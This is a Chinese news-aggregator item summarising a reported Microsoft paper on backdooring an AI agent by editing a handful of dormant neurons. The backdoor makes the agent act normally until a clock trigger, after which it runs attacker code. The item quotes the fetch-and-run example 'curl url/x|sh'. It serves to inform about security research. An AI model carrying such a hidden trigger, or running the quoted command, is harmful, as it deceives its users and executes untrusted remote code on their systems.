微软研究员仅改 7 个神经元即可给 AI Agent 埋下定时后门
DimitrisPapail · x · 2026-11-14
微软研究员发布论文 Lazarus，展示了一种无需重训练、无需投毒数据的权重空间后门攻击：
- 利用模型中几乎不激活的「休眠神经元」，仅改写不到 10 个（在 Nemotron-Terminal-8B 的 12000+ 个神经元中只动了 7 个），让它们等待特定触发条件；
- 触发前模型行为完全正常，改写所需的算力与运行模型本身相当；
- 实验中触发会话里攻击者命令出现率至少 98.8%，正常会话中未出现；
- 论文演示场景是：AI Agent 平时工作正常，直到 2027 年 1 月 1 日时钟触发后静默下载并执行攻击者代码（如 curl url/x|sh）。
作者同时指出：这并不意味着 ChatGPT 或云服务已有后门——攻击者需要在用户运行前拿到模型文件本身。
所属事件:微软研究：改不到 10 个神经元即可给 AI 智能体埋后门(7 条相关)→
「安全」频道最新
- 前 OpenAI 安全副总裁：AI 行业毫无最低安全标准且吹哨人无保护 — Miles_Brundage · 2026-11-14
- 曝 Nvidia 前 CEO 隐瞒恋情误导法务，真问题指向出口管制 — 0xkarasy · 2026-11-14
- 64亿美元币安被盗案复盘：一条假 Homebrew 广告引发的供应链攻击 — zetalyrae · 2026-11-14
- Robert Wiblin 呼吁前沿 AI 实验室员工不要「悄悄躺平」 — trevposts · 2026-11-14
- 抹层凡士林就能骗过机器人:五款前沿模型危险动作率飙至97% — 量子位 · 2026-11-14
- Uber 通报用户个人信息泄露，事件源于服务商遭入侵 — rakyll · 2026-11-14